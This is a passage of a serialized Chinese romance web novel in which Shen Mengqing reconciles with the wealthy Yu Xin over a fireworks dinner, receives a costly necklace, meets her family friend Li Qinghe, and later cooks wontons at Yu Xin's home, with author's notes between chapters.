董事长的时间宝贵,二话不说就直入主题了,但杨川人很随和,问的问题不算犀利,是恰好能抓住重点的提问,简单几句话就了解完了沈孟青每段经历的核心产出和反思之处。 聊到最后,杨川看了眼时间还有空,笑着和她闲聊起来。 他说:“我前几天出差就是去参加一个医疗会议的,替你们愈生出席的就是你们余董的儿子小余总,我看他年纪挺轻的,没想到上台发言说得很不错,是有点东西在的,如果以后你们董事长换了他,其实也不会差。” 杨川说着说着,愈发起劲,拿起手机手指不停划动着屏幕,边说道:“而且这小余总长得特别帅,就是你们这些年轻小姑娘喜欢的类型,比他爸爸年轻的时候都帅多了,我看下这次会议主办方有没有拍他照片,你等我下。” 这种会议拍下的照片都会统一存放在一个公开网络相册里,杨川点进去一看,有几千张照片,看得他头昏眼花,眯着眼睛找起来。 门外响起敲门声,沈孟青起身打开门,是杨川的特助在催他赶下一个行程了。 “马上马上。”杨川又翻了好几页,才终于找到一张有个侧影的,就是有些模糊,看得不太清楚。 他凑合着用递给沈孟青看,沈孟青看向照片上的人,只有头发那一团黑影最清晰,勉勉强强看出侧脸确实很深邃立体,别的什么都看不出。 她笑着把手机换了回去,说:“是挺帅的,可惜没有正脸高清照。” 杨川摆摆手,在特助的催促下往门外走去,对沈孟青开玩笑说:“以后你成了董助,我带你看真人,你想合影我都帮你弄到。” 送走了杨川,HR又将沈孟青送下了楼。 马上国庆节假期,他们会停工,董助的背调会复杂一些,结果通知估计要半个月后才能给到她。 沈孟青再次和她道了谢,打车回家去了。 她没把在楚城找工作的事情告诉她妈妈郝孟,想等确认了再说,免得妈妈空欢喜一场。 郝孟见她出了这么久门才回来,以为她是找朋友去了,有意无意问起她和李青河的进展来。 正巧,郝奇思他妈不愿一个人在家吃饭,便来了沈孟青家,打算吃完晚饭去车站接郝奇思的,这会撅起个耳朵听她的八卦。 沈孟青帮忙择着菜,边说着:“妈,我们单纯是以朋友相处的,你别乱点鸳鸯谱了。” 郝孟瞧了下她女儿,摇了摇头说:“是你自己这么想的,还是他李青河告诉了你他也这么想的?我也不瞒着你了,他爸爸前几天给我打过电话了,说李青河在试着和你接触呢。” “……” 沈孟青叹了口气,看来她得找时间和李青河说个清楚。 三姨一双眼睛滴溜溜地在这两人身上转了圈,笑着对郝孟说:“大姐,这说明我们阿青优秀啊,她这么优秀,那北城男人一大把,肯定追求她的不少呢,你别操这心了,儿孙自有儿孙福。你看我,结婚多早啊,不还是离了,那大好的青春年华都浪费了。” 郝孟抄起一根大葱就往三姨身上打去:“你别咒我女儿。” 沈孟青眉眼一弯,在菜篮子底下偷偷给三姨竖起大拇指。 收拾完了菜,三人坐在沙发上看电视,三姨看了眼手机,对郝孟说:“姐,明天江边会放大烟花诶,你去不去看?” “我不去凑这热闹了,人太多了。”郝孟对这种东西向来没兴趣。 “也是。”三姨点点头,转头说道,“对了,阿青,郝奇思那小子刚和我说你明天会带他去江边玩,你们要注意安全啊,尤其是手机什么的贵重物品要放好别被偷了,互相看着点别走散了。” 沈孟青愣了下,而后连哦几声说:“放心吧三姨,我会看好他的。” 她不着痕迹地拿起手机,给郝奇思发去消息: 「我带你看烟花???」 「你又憋着什么坏呢,还学会用我来骗你妈了。」 郝奇思回她说: 「姐,我没说谎,我正准备找你说明天一起看烟花呢。」 「餐厅我都订好了,你不会拒绝的对吧?」 他发来一个餐厅的订单,沈孟青定睛一看,居然是上回她和李青河相亲的地方,楚城M酒店的顶楼。 那个餐厅的落地窗确实很适合看烟花,但是座位不多,这种特殊时间的位置想必都得提前很久预定,他郝奇思哪来的闲情雅致,找她这表姐去西餐厅看烟花。 沈孟青觉得这事没那么简单,郝奇思指定是有事没告诉她。 她当即揪着郝奇思多问了几句,没想到他再没回复,在屏幕那头假装看不见。 …… 第二天,郝奇思和她约了六点半直接餐厅见,赶七点看烟花的绝佳时机。 这次回家主要是为了叁通的面试,她行李箱里的衣服都很正式,家里没带走的衣服又太过时,她只好穿上一件蓝色花边V领衬衫,下身搭了条淡灰色长裙,已经是一堆衣服里比较休闲的一套了。 赶到餐厅时,门口排了很长的队,还有不少人挤在店外的玻璃前蹲守烟花。 沈孟青向服务员报出预约的桌号,被领着走进大堂,没几步她就看见了面朝门口坐着的郝奇思,郝奇思亦是发现了她,高兴地举起手摇了摇。 等沈孟青慢慢到了跟前,才发现他对面还坐了个人。 这人戴了个眼镜在低头看菜单,身上穿着套深灰色西装,好巧不巧,和她的裙子是同一种色系,搭配起来看十分融洽。 余辛抬头看了她眼,轻声说了句:“来了。” 沈孟青歪头看向郝奇思,眼神锋利,似是在质问为什么要欺骗她。 郝奇思哈哈笑了两声,朝余辛那头里侧的位置说:“姐,你先坐。” 沈孟青没听他的,走到郝奇思身旁轻轻撞了他下:“你坐过去,我要坐这。” 她才不想和这俩瞒着她的臭男人坐一边呢。 郝奇思只好挪着步子过去,又高又壮的身体挤在余辛和窗户之间的位置,不舒服地换了好几次坐姿,他看了看他姐的脸色,没敢吭声。 余辛把菜单调了个方向,往沈孟青面前一推:“吃什么?” 沈孟青眼皮微微抬了下,往椅背一靠,说:“没胃口。” 见她不想看菜单,余辛只好又收了回来,和她吃了几顿饭下来,他也大概摸准了沈孟青的饮食取向,挑了几样她爱吃的下了单。 郝奇思在一旁眼巴巴地看着菜单被收走,咽了下口水,出声说:“哥,我还没选呢。” “点了你的。”余辛淡淡然说道。 郝奇思:“哦。” 怎么没人问他想吃什么就直接决定了。 场面沉寂下来,沈孟青偏过头看着窗外江边的拥挤人潮,余辛垂眸看着整洁的桌面,手指叩在上头一敲一敲的。 郝奇思上下左右都看了一遍,实在无聊,掏出手机来玩。 餐厅上菜的速度不是很慢,沈孟青看着被端上桌的油滋滑润的牛排,食欲霎时被勾了起来,还好郝奇思早早就动起刀叉大快朵颐了,她顺势也吃了起来。 吃了不过二十多分钟,郝奇思瞥了眼时间,急忙说:“哎呀,我和朋友约了一起去露营看烟花的,我得先走了。” 他嘴里塞满了东西,口齿不清的,沈孟青说道:“你先吃完再走吧。” “不用不用。”他灌了几口水把没嚼完的咽了下去,指了指桌上的薯条,“我能打包这个去吃吗。” 沈孟青给他叫来服务员打包,等郝奇思收好了东西,余辛对他说:“给你叫了车,车牌发你。” “谢谢哥。” 郝奇思一走,桌上看起来松散多了,两人安安静静埋头吃着饭,默契地一言不发。 倏尔,江边人海的欢呼声透过玻璃远远传来,打破了这份沉默,沈孟青被吸引朝那边看去,有几个小小光点在所有人的注视下飞速升空,旋即砰地一声绽开,幽蓝色的天空瞬间被一整排盛放的烟花占据,饱满又灿烂。 这个餐厅的视角正好,能够不被遮挡地看见烟花绽放的全貌,身边不少用餐的客人都在惊呼,用手机记录下烟花的美丽。 沈孟青眸中映出多彩的光亮,感受到对面和烟花般灼人的视线后,她回过头望过去。 “你没事又来楚城做什么。”沈孟青神色一变,冷冷问道。 余辛松松懒懒地靠在椅背上,什么话都不说,只是直勾勾盯着她,仿佛要将她盯穿个洞来才肯罢休。 沈孟青不吃他这套:“哑巴了?说不出的话,那我走了。” 她拿起身侧座位上的包,起身就要走。 余辛这才出声说:“哄你。” “哄?”沈孟青咬文嚼字地说,“所以你哪都没错,是我在平白生气,需要你哄是吗?” “对不起。” 余辛站起来,走到沈孟青身后,双手搭上她的肩膀,见她没有抗拒便微微用力将她按回了座位,低声说:“我是真心的,那时候在船上不该逼问你。” 他的手从肩膀滑到脸侧,轻轻抚了抚她的脸,和挠小猫下巴似的。 沈孟青回头看他,见他眼底柔软,表情看着还挺庄重,气消了些。 她抱起胳膊,嘟囔着说:“你怎么天天说来就来的,还伙同我表弟一起骗我,下次能不能直接告诉我。” 余辛坐回座位,定定看着她说:“你不喜欢?” 虽然知道他说的不是别的事,但沈孟青还是不自觉心跳漏了一拍。 “嗯,我想知道,不喜欢你们骗我。”她说。 余辛不由自主地摩挲起食指,垂眸思忖了下。 旋即,他说道:“好,以后一定告诉你。” 他弯了下嘴角,朝她举起杯子,沈孟青磨蹭了会,才轻哼一声和他碰了下杯。 吃饱喝足,两人间的气氛缓和了不少,都专心看起烟花来。不知是在哪个时刻,沈孟青无意识地看向玻璃映衬出的倒影,猝不及防地,她的视线和镜面中余辛看她的目光碰撞上,恰巧在四目所及之处,有一簇绚烂的烟花炸开。 她不记得是谁先伸出的手,总之,余辛拉着她快步走出了餐厅,坐上了空无一人的电梯。 余辛按下了一个楼层,她跟在他身后走出了电梯,一进昏暗的房间,沈孟青脸上一热,是余辛的手抚上了她的下颌,接踵而来的是他温热柔软的唇瓣—— 作者有话说:\和好/\和好/\和好/ [撒花][撒花][撒花] 辛子:屏幕前的家人们觉得我这个道歉成功吗 阿青:滚 辛子:呜呜 0经验人士众筹道歉教程 急 价格可议[狗头] 第29章 第二十九章 别咬 窗外的烟花仍在不知疲倦地一簇簇升空, 一片嫣红姹紫的花海在空中循环着垂落又绽放的过程,将整片江水都映得波光粼粼,宛若一大捧碎钻零落地洒在江面。 沈孟青的视野里已看不见攒动的汹涌人潮, 眼里只有余辛那明明灭灭的双眸, 呼吸随着接吻的节奏而轻喘,当他触碰到她光洁的颈侧肌肤时, 她随着盛开的烟花轻轻一颤。 沈孟青伸手攀上余辛的脊背, 隔着一层衬衫面料, 顺着他紧绷的背部肌肉抚过。 她的指尖起起伏伏, 犹如一只翩跹的蝴蝶在山脉间四处探索般。 就在她手指滑过背骨某处时,余辛似是不受控制地瑟缩了一下, 随即传来一声轻微到快被烟花声掩盖的吸气声。 沈孟青察觉到他的动静, 眼里闪过丝狡黠,轻笑一声, 说:“原来你也怕痒啊。” 余辛停下动作, 撑着身子居高临下地看着她,见她得意地尾巴快翘上了天,抬手想往她腰间怕痒的地方探去,被她两手钳制住。 沈孟青瞪着余辛, 眼神却没什么杀伤力, 水盈盈的, 犹如一泓泛着光的春水。 “不许挠我。”她警告说道, 像炸了毛。 余辛松了力,一手抱住沈孟青往旁边一滚, 两人上下位置一换,她转眼成了掌控局面的人。 沈孟青眼底的狡黠更盛,一只手抓住余辛的手腕, 另一只手狠狠捏了下他的脸,逗他说:“你这一个月是不是都没怎么吃饭,怎么感觉瘦了。” 照着烟花的光亮她仔细端详了下,余辛还真是瘦了些,眼眶瞧着更深邃了,看久了那双眼睛犹如要将她整个人卷起去。 她怀笑了下,贼溜地把手滑进他衣服里,摸了摸腹肌。 还好还好,肌肉还在,一块都没少。 余辛对于她的发言不甚满意,觉得她这话听着像是在挑衅。奈何她现在正跨坐着,他不敢轻举妄动,只将手贴上她细腻的腰窝,手指悄然一挠。 沈孟青痒得一激灵,仗势欺人的气势瞬间破功,从他腿上滑了下来,跌坐在床上。 余辛看准时机,反擒住她的手,将她往身边一带,天旋地转间,他轻轻松松又占据了上风。 他要让她意识到,再怎么瘦,他也拥有男人的绝对力量。 余辛将沈孟青牢牢困住,一手撑在她耳侧,音色暗哑地说:“再乱说小心我挠你一晚上。” 沈孟青被他这幼稚的话笑到肚子疼,她轻佻地勾了下余辛的下巴,说:“余辛,我发现你真的很像一只小狗,又挠又咬的。” 听了她这话,余辛还真垂下头来,倾身压下,几乎快贴上她的唇,作势要咬。 上回被他又吻又咬的记忆还历历在目,沈孟青连忙把头一偏,两手飞快地拍着他的肩说:“别咬。” 余辛动作一顿,转而改变攻势,含住她的嘴,沉沉吻下去,沈孟青两手就搭在他的肩上,和他唇齿厮磨。 窗帘半拉着,烟花表演已然接近尾声,炸开的频率越来越快,声音砰砰作响,热闹得很,在宣告着它作为主角的最后一舞。烟花的颜色也由浅粉转为蓝色,似是天际破晓,看得人应接不暇。 最后几簇烟花腾空升起,每簇都从一朵碎裂成无数朵,满天炫彩的火点滑下,像是人为创造出的流星雨,给所有人一个许愿的契机。 等光亮的星星点点尽数消失,天空中只余下灰白的烟雾袅袅飘着,不过须臾,人潮散尽,江水微晃。 …… 沈孟青没阖眼睡多久,浴室里淅淅沥沥的水声将她吵醒,她拿起手机看了眼时间,已经快到十点,再不回去又要被郝孟女士拷问一番了。 她起身穿好衣服和鞋子,对着镜子整理了下妆发,随后敲响了洗手间的门。 水声一停,余辛冷冽的声音氤氲着雾气传来。 “怎么了?”他问道。 沈孟青隔着门说:“我得回去了。” 余辛没答话,里头窸窸窣窣响了会,没等多久,他罩着个浴巾走出来,一根简单打了结的系带垂在腰间,肩宽腰窄的。他头发还没吹,湿漉漉地耷着,发尾滚下几颗小水珠汇聚成更大的水滴,落在锁骨上,再滑入幽暗的衣领下。 他走到桌前拿起手机,蹙起眉说:“太晚了,我给你打车。” 沈孟青便又在床上坐下来,裙摆软趴趴垂到了地毯上。 她望着顶灯底下他高高绰绰的身影,暗自想道,难怪那些古人说,要在暗室孤灯下观美人,优越的皮骨之相尽显,夺人眼目。 她两手撑着床,开口问他:“你这次什么时候走?” “明天。”余辛沉声说,“明天下午在北城还有点事。” 沈孟青一愣,从楚城坐高铁到省会,再从省会坐飞机到北城都快一个白天的时间了,他这行程也太赶了些。 一想到余辛奔波这么久是为了见她,沈孟青心里那块平静的湖水不免泛起浅浅涟漪。 “来得及吗?”她担心地说。 余辛叫完了车,把手机一放,转过身面对着沈孟青,靠在桌沿上说:“我找了人开车送我去省会的机场。” “哦哦。” 沈孟青了然,那时间应当差不多。 两人有一搭没一搭地聊着,等屏幕上显示网约车还有两分钟就到了,沈孟青和余辛说了句北城见,便出了门。 节假日的夜晚人依旧很多,到处是欢声笑语,楼下的夜宵摊更是一个空位都没有,烧烤的香味弥漫。 坐上车后,沈孟青按下窗户,让凉度刚好的江风吹进车里,在这个季节,自然风要比空调舒爽多了。 她托腮靠在窗边,看着宽阔的江面走神。眼下看来,认识余辛之后,他好像每次过节都会来找她,无一例外。 等国庆节一过,下一次节日就是元旦了,难道说,她今年要和余辛一起跨年了。 司机忽地一脚油门加速,猛然灌入的风吹散了她的思绪,沈孟青在心里暗暗吐槽了下自己这莫名其妙的期待。 跨年这么重要的时刻,人家怎么会来找你。 回到家后,果不其然郝孟问起她怎么才回来,听她三姨说,郝奇思一个多小时前就到家了。 这个郝奇思太不靠谱了,只顾着把她骗过去,也不记得帮她圆圆谎。 “我看完烟花遇到了高中一同学,和她去吃夜宵聊了会。”沈孟青说。 郝孟觉得奇奇怪怪的:“你这几年回家我就没见过你和高中同学出去玩,怎么这几天冒出这么多个同学来了。” “都是碰巧遇上的。”沈孟青揉了揉酸胀的腰背,发动全身的演技说,“妈,看烟花看得太累了,我先去洗澡了,你早点睡吧。” 郝孟瞥了她眼,回了房间去。 沈孟青洗完澡往床上一躺,很快昏睡了过去。 再睁眼时,她拿起手机,时间跳到了早上九点半,屏幕上显示有条未读信息。 沈孟青顺手点进去,是余辛发来的。 他说:「我落了个东西在酒店房间里,能不能帮我取一下。」 他还把房间号以及身份证照片发了过来,估摸着这东西对他挺重要的,沈孟青想,毕竟他给人的印象像是完全不差钱,不会特意找人去拿丢了的东西。 沈孟青放大了下他身份证上的寸头照片,对着他那张故作冷酷的脸戳了几下,笑着点下了保存。 在郝孟的监督下吃完了早饭,沈孟青以去江边慢跑为借口出了门,打车去了楚城M酒店。 酒店前台对于这种事情很谨慎,在沈孟青报出入住人的全部信息后,还被要求当场给余辛打了个电话确认,还好他还没起飞,接通了电话,简单给前台的接待员说明了下情况。 顺利取到了房卡,沈孟青轻车熟路地找到了房间。 她刷卡进去,一眼便瞄见桌子上还真有个小盒子,这么显眼的位置余辛都能忘记塞进行李里。 她走近了几步,看见盒子上品牌logo后,不由一怔。 余辛仿佛在她身边安装了监控似的,一条消息瞬时弹了出来。 余辛:「打开来看看。」 “?” 沈孟青瞥了盒子几眼,还是慎重地没有碰它,给余辛发消息说:「可以打开吗?这么贵的东西,你不会讹诈我吧。」 余辛:「……」 余辛:「是你的东西,我讹不了。」 沈孟青:「?」 她搁下手机,不解地打开了盒子。 盒中暗蓝色的格子上放置着一条项链,这项链中间缀着一朵太阳花,上头镶满了钻石,中间那颗最大的钻石更是绚丽,在窗户洒进的白日阳光下跃动出无数金耀细闪,比昨晚的烟花还要璀璨一万倍。 很美的项链。 沈孟青立马根据品牌搜索了下这条项链的价格。 是HW的sunflower,价值六位数。 看见这不菲的价格后,她一时心情有些复杂。 算起来,当时明明是她主动撩拨余辛的,可他送礼物这手笔,怎么像自己被包/养了一样。 她在椅子上坐下,感觉手里的盒子格外烫人。 垂头思虑了会,沈孟青还是拿起了手机给余辛回信息。 输入框的文字敲了又删,她轻咬着下唇,最后发送道: 「太贵重了,我可以不收吗。」 余辛几乎是秒回:「不可以。」 他又补充说:「我要起飞了,不聊了。」 “……” 沈孟青把手机一撂,盯着这盒子渐渐出神。 算了,如果余辛态度强硬,坚定要把这礼物送出去,那她怎么讲理也没办法。不如等下次见面,她直接塞回去还给他好了。 想至此,她揣起这项链进包里,离开了房间—— 作者有话说:阿青:好烫手好烫手,要被讹了[墨镜] 第30章 第三十章 我想吃你做的。 在假期过了一半时, 李青河回了楚城,他刚下高铁便打电话约沈孟青见面。 沈孟青接起电话时郝孟就在她身边,一双眼睛盯着她, 眼神像是在威胁她不许拒绝。 应下晚饭的邀约后, 她就往沙发上一躺,郝孟拽着她的胳膊想让她去好好收拾收拾, 她这回说什么都不听了, 要是再像上次一样被郝女士打扮一回, 会累得她掉一层皮。 “妈, 真不用了,时间也来不及呀。”沈孟青劝说道。 郝孟叉着腰说道:“那你起来换个衣服, 我看看你穿什么去见人家, 你总不能穿着这身睡衣去吧。” 沈孟青叹了口气,她其实能理解郝孟这掌控欲的来源, 小时候郝孟没怎么管过她, 心里一直懊悔,想现在弥补回来。尤其是在和林向阳分手后,郝孟对她在外工作的心疼完全转化为了催她谈恋爱的动力。 最终还是郝孟在她行李箱的衣服里挑了两件让她穿上,还监工地看她画了个淡妆。 在走出她房间前, 郝孟瞥见了她包里的首饰盒, 无意地拿了出来。 她打开一看, 惊艳地说道:“哎, 这条项链不错,正好搭你今天穿的衣服。” 没等沈孟青拒绝, 郝孟直接帮她戴好了这条泛着光泽的项链,太阳花在她修长的脖颈前一晃一晃的。 “……” 她想象了下,戴着余辛送她的东西去见李青河, 莫名让她有点犯怵,总有种他就在旁边看着的错觉。 等郝孟满意地走人后,沈孟青赶忙将项链摘了下来,好生放回了盒子,塞进行李箱里,随手抓了几件衣服盖住。 晚上,李青河约她在江边一家餐厅吃饭,拢共才两人,他出手阔绰地订了个能坐六七人的包厢。 沈孟青在他身边的位置坐下,开玩笑地说:“你订的房间这么大,是想把菜单上的菜都点一遍么?” “你吃得下的话,也不是不行。” 李青河随她一笑,把外套搭在房间角落的竖杆衣架上,转头见沈孟青只穿了件单衣,便帮她把包给挂上了。 他坐回座位,又给她倒好了茶水,说道:“楚城是比北城的温度高上不少,我穿了两件衣服,一下高铁就有些冒汗了。” 沈孟青喝了口水,问他说:“你一年回几次北城?感觉比我回得勤多了。” “是挺多的,主要是我爸一向觉得人不能忘本,他说我们家根基在楚城,怎么也得在楚城留点基业,所以我有时候回来也是为了工作。” 沈孟青点点头,没想到李青河他爸爸对楚城的感情这么深,难怪还记着当年和她爸爸的友情,不想让关系断在他们那代人,介绍她和李青河认识。 “对了,那你了解叁通这公司吗?”她趁机打探道。 李青河笑着说:“当然了,这公司我们也入了点股,叁通的杨董和我爸小时候在楚城就熟得很。” 他看向沈孟青,问道:“怎么了,你们愈生还关心起楚城这边的小医药公司了?应该对标不了吧,怎么着也得是云济那种水平的。” 沈孟青摆摆手,说:“不是,是我投递了他们叁通的招聘岗位,所以想了解点情况。” 李青河一时有些惊诧,说:“他们有在北城开分公司吗?这我倒不知道。” “不是。”沈孟青坦白地说,“是我在考虑要不要回楚城发展。” 听了她这话,李青河神色一滞。 “回楚城?” 沈孟青点点头,表情认真。 李青河没说话,垂头思索了会,沉声问她:“阿姨知道吗?” 沈孟青:“我还没告诉她,主要是面试结果还没出,我也还没完全确定,不想提前让她操心。” “也对。”李青河对她说道,“其实,你也可以考虑下来我公司,楚城这边我们设立了一个小的分部,我爸已经全权交给我打理了。叁通那边你投递的什么岗位,需不需要我去招呼一句?” “董助。” 沈孟青和他碰了个杯,说:“招呼就不用了,我也想看看他们能不能认可我的能力,毕竟董事办和别的部门不太一样。再说了,李大少爷这人脉不得留在重要的时刻用吗。” 李青河摇了摇头:“不用留着,任何时候你有需要帮忙的时候,随时找我,我的人情你可以不用还。” 他这话一说出口,沈孟青的眼神有些细微的变化。 她欲言又止,李青河看在眼里,语气依旧温和,只是略带了些苦涩的味道:“我对朋友也是这样的,如果你有负担,那以后遇到了什么事,就把我当作备选吧。只是,如果实在没有人能帮你,一定要记得找我。” 他这番话说得给足了沈孟青空间,她再说不出别的拒绝的话,轻声道了句:“好。” 不过,有件事还是得问问他。 “我妈前几天告诉我,你和李伯伯说我们在接触之中?”沈孟青眨了眨眼。 李青河哑然失笑:“嗯,我这样说有一部分原因是不想再被他安排和各种人相亲了。” 另一部分原因,现下还不是说的时候。 “理解,我妈最近也老爱催我。”沈孟青夹了口菜,说,“那你可别露馅,在李伯伯那里,我可以一直和你处在‘接触’阶段直到你遇到心仪对象。” 李青河目光升温,凝视着她问:“那你妈妈那边,需要我也这样帮忙吗?” “不用不用,我妈挺好应付的,我平常也都在北城。如果我回楚城了,她肯定也就觉得我们不合适了,到时候再说吧。” 沈孟青早就考虑到了这个问题。 “好吧。”李青河遗憾地说。 他脑中忽然闪过上回在赛车场的画面,祝绍明对余辛和沈孟青的关系含糊其辞,只叮嘱他千万不能暴露余辛的身份。 他当时还怀疑余辛和沈孟青关系不一般,但如今看来,估计是他多想了,愈生只盘踞在北城一块地方,沈孟青能对北城说走就走,两人肯定交情不深,可能只是余辛不想让员工看见自己有心理压力吧。 只不过,他还有丝疑心,而且据他了解,就这几个月余辛便要接下愈生了。 李青河面上不露,状似闲聊地问起她:“如果叁通给到了你offer,你打算什么时候和愈生提离职,离开北城?” “十一月吧,赶在冬天之前,北城太冷了。”沈孟青回答说。 李青河算了下时间,应当刚好她一走,余辛就来了。 他放下心来。 “年终奖不要了啊。”李青河镜片下的眼眸笑得一弯,“那等你确认了日子,一定要告诉我,让我来请一顿送别宴。” 沈孟青说:“好啊,别请太贵的,我怕我吃了舍不得离开北城了。以后你回楚城和我说,我来请客。” …… 和李青河吃完了这顿饭后,郝孟没再揪着她问东问西,在她眼里,这两人一定是在平稳的发展之中。 节日的最后两天,沈孟青催着她妈妈和一大家子姨妈节后去做个体检,她妈妈这四个姐妹里一半都退休了,上了年纪之后,一个个都不愿去体检,半年一次都保证不了。 她直接替她们约好了体检中心,把定金也付了,她们心疼钱,这才下定决心去。 沈孟青放心地回了北城,在各种交通工具里疲累地度过了一天后,她躺在出租屋床上时,感觉整个人都快散架了。 她纠结了一下,还是提了个明天请假的审批流程,多休息一天。写完流程,她顺便给梁军留了个言,说自己家中还有点事。 搁下手机,她窝在沙发里,逐渐闭上了眼,在彻底陷入睡着的前一刻,手机电话铃声突兀地响起。 沈孟青心里咯噔一声,以为是梁军看见了消息来追问她为什么要请假,她拿起手机一看,原来是余辛打来的。 她按下接通,语气仍带着倦意:“喂?” 余辛在电话那头顿了下,问她:“睡着了?” “差点睡着。”沈孟青坐了起来,朝还没收拾的行李箱看去,问他说,“怎么了?” 余辛:“你回了北城吗?” 沈孟青轻嗯一声:“傍晚刚到。” “如果你方便的话,我想吃馄饨。” 余辛淡淡地说道。 沈孟青无语地说:“想吃就点外卖,我又不是叮当猫。” 余辛缄默了会,沉沉说道:“我想吃你做的。” 沈孟青看了眼时间,还不算晚,她也还没吃晚饭,那索性和余辛一道吃了。 “那我现在做,你等会来我家。”她说。 余辛说:“要不你来我家吧,我家厨房比较大。” “……” 想吃她做的饭还挑剔起地方了,沈孟青耐着性子说:“好,余大少爷,您等着,我收拾下就过来。” 挂了电话,她打开行李箱准备把项链带过去还他,没想到把所有衣服和大包小包全部拿出来之后,项链盒的影子都没看见。 她又在随身的包里搜了一遍,还是没找着。 沈孟青心下一沉,打了个电话给郝孟,问她有没有看见那条项链。 “哎哟,我这记性太差了。我有天打扫卫生不小心踢到了你的行李箱,把它撞出来了,我想着这项链应该不便宜,就先收你那柜子里了,没想到忘了和你说了。”郝孟说道。 沈孟青长长舒了一口气,要是这项链真丢了,她一时半会还回不去楚城呢,怎么也得拿了愈生那年终奖还钱给余辛才行。 她对郝孟说:“行,我叫个快递,你把那项链寄给我吧。” 耽误了这么会时间,沈孟青从衣柜里扯了件风衣出来套上。小腹传来一阵熟悉的酸胀感,腰也有点疼,她没太在意,只当是一路上劳累到了,出了门去。 夏天过去,小区里的路边小花变稀疏了很多,已经不见小黄花的身影,只有一阵阵馥郁桂香随风传来,沈孟青还挺喜欢闻桂花的味道,有种安宁心神的感觉。 北城的秋风干燥,刮得她脸不自觉绷紧,沈孟青吸了吸鼻子,加快了脚步。 到了余辛家,门一开,房子里外有着温差,迎面而来一股暖意。 她抬眼看去,余辛穿着一套深色的家居服,上身是布料柔软的圆领卫衣,下头是修长垂地的裤子。 沈孟青把脱下的风衣递给余辛,径直往厨房走去。 灶台上只有一个光滑锃亮的锅,严丝合缝地盖着锅盖,上面还有薄薄一层积尘。 她不信邪地把厨房的储物柜都翻了个遍,只找到了些锅铲碗筷,她又打开了冰箱门,里头都是些饮料。 她朝余辛问道:“调料呢?馄饨呢?” 余辛被沈孟青问得愣住:“……” “我没下过厨。”他小声说,摸了摸鼻尖,“忘了我家只有锅盆碗筷了。” 沈孟青简直被他气笑,咬牙切齿地说:“那你让我来你家?!” 余辛拿起手机,说:“我现在叫外卖送来?” “去门口的超市买吧。”她重新穿上外套,往门口走去—— 作者有话说:辛子:真的是忘了真的,不是故意骗老婆来[求你了]《 》 30-40 第31章 第三十一章 “你不会以为我要和你牵手…… 余辛没换衣服, 戴了个黑色的鸭舌帽,跟在她身后出了门。 沈孟青看了眼他,半张脸都快埋在帽沿底下, 只露着个微薄的唇和锋利的下颌线。 她笑着说:“你还挺有偶像包袱的。” 余辛耸耸肩, 脸色比那秋风还凉,冷酷得很。 沈孟青忍不住想戳破他这装酷的劲, 说道:“外面降温了, 我刚走过来都觉得有点冷, 你就穿这一件衣服出门?” “嗯。”余辛站直了身子, 一米八九的个子拔挺,和迎风飘扬的白杨树似的。 沈孟青在心里哼哼, 暗自想道, 等会吹了风就知道冷了。 余辛住的这高档小区里楼间距更大,四面八方都没什么遮挡, 灌进来的风更多了, 沈孟青两手揣在兜里都冷,她不自觉挨近了余辛一些。 好巧不巧,旁边走过一对相互依偎的情侣,手牵得比磁铁还要紧。 沈孟青和余辛两人都看见了, 也不知道是不是错觉, 沈孟青感觉余辛也朝她靠近了几步, 离她近的那只骨节分明的手垂在她口袋旁边, 悠哉哉不安分地摆动着。 有点暗示的意思。 她看在眼里,不自然地咳了声, 缓缓地抽出手来。 陡然间,两人的手背在空中相撞,沈孟青还没和余辛的眼睛对视上, 就听见他出声说:“你不会以为我要和你牵手吧。” “?” 沈孟青急忙嗤了一声,恼怒地说道:“切,怎么可能,我那是手心捂出汗了,拿出来晾干一下。” 为了佐证自己的话,她把手举在半空中甩来甩去的。 余辛斜斜睨了眼她微微泛红的手,说:“哦。” 他这衣服着实不抗风,刚才出门时他不想让沈孟青等他太久,所以穿着就出来了。 眼下寒风肆意地从他领口、袖口和下摆灌进来,呼呼作响,这衣服和裤子还没口袋,他的手被风吹得冰冷无比,和两颗冰块似的。 就沈孟青怕冷这样,如果她拉上自己的手,还不得把她冻死。 出了小区门,风向变成了从背后来的,余辛不着声色地落后了几步。 沈孟青疑惑地转头看他,以为他是不好意思被迎面走来的人看见他穿的是家居服,所以躲在她身后。 “你这套衣服看起来挺正常的,不用不好意思见人。”她说道。 余辛:“……” 懒得解释。 进了超市,沈孟青在前头开路,余辛推了个购物车,跟在她后头。 她目的明确地挑好了几罐调味料,考虑到余辛自己不怎么开火下厨,她买的都是最小罐装的。 随后,她又去冷冻区挑了盒馄饨,买了点配菜。 余辛只充当个购物车司机,一言不发地推着车,在快到收银台时,他才快步走到沈孟青前头。 收银员一件件扫着货品码,随手指了下手边货架上摆着的东西,说:“上面两排是折扣商品,考虑带一件吗。” 折扣商品都是些饮料或是面包,余辛侧头看向沈孟青,无声地征询她的意见。 沈孟青摇摇头说:“我不用,煮馄饨吃就行。” 她从余辛的脸上收回目光,又看向货架,这才看清底下摆放整齐的一个个小盒子是什么东西。 沈孟青想起上回在余辛家里的情形,那时他说他家没有,难道,刚刚他望向自己,是在问要不要买这个…… “还不走?” 余辛付完了钱,见沈孟青直愣愣地盯着前面走神,他挑了挑眉。 沈孟青反应过来,立马推着他说:“走走走。” 再次回到了余辛的房子,他将鼓鼓囊囊的大袋子往灶台上一搁,把东西一个个取出来。 沈孟青将馄饨解了冻,把盛好水的锅放在灶上加热。 虽然余辛是个不做饭的人,但他家现有的厨具都格外好用,全套进口品牌,估计花了他不少钱。 真是暴殄天物。 余辛把所有调味料和食材都放在她手边后,往后退了几步,靠在水池边,抱起手看她氤氲在水雾里的背影。 不过一会,馄饨在锅里咕噜噜上下浮动,沈孟青见时间差不多了,关火盛了出来。 馄饨摆上了桌,旁边还有俩超市买的凉菜,余辛将筷子递给沈孟青,两个肚子快饿瘪了的人终于吃上了饭。 场面安静,只剩咀嚼的声音,两人默契地谁都没说话。 吃到最后,沈孟青忽感一阵腰疼,比出门那时候的酸痛还要来得汹涌。 她把筷子放下,捂着腰说:“我有点不舒服,先去沙发上躺会。” 余辛一怔,问她说:“没事吧?” “没事,可能是高铁和飞机上的椅子坐得不舒服。” 沈孟青走到沙发上,侧身卧倒下来。 余辛一碗馄饨吃到见底,将餐桌上的垃圾收拾进了垃圾篓,把锅铲碗筷都洗干净了后,再迈步走到沈孟青跟前。 她已经睡着了,手机脱离了手掌,在沙发边缘摇摇欲坠。 余辛勾下腰,把她的手机往里放了些,视线回移的某个瞬间,他整个人猛然一顿。 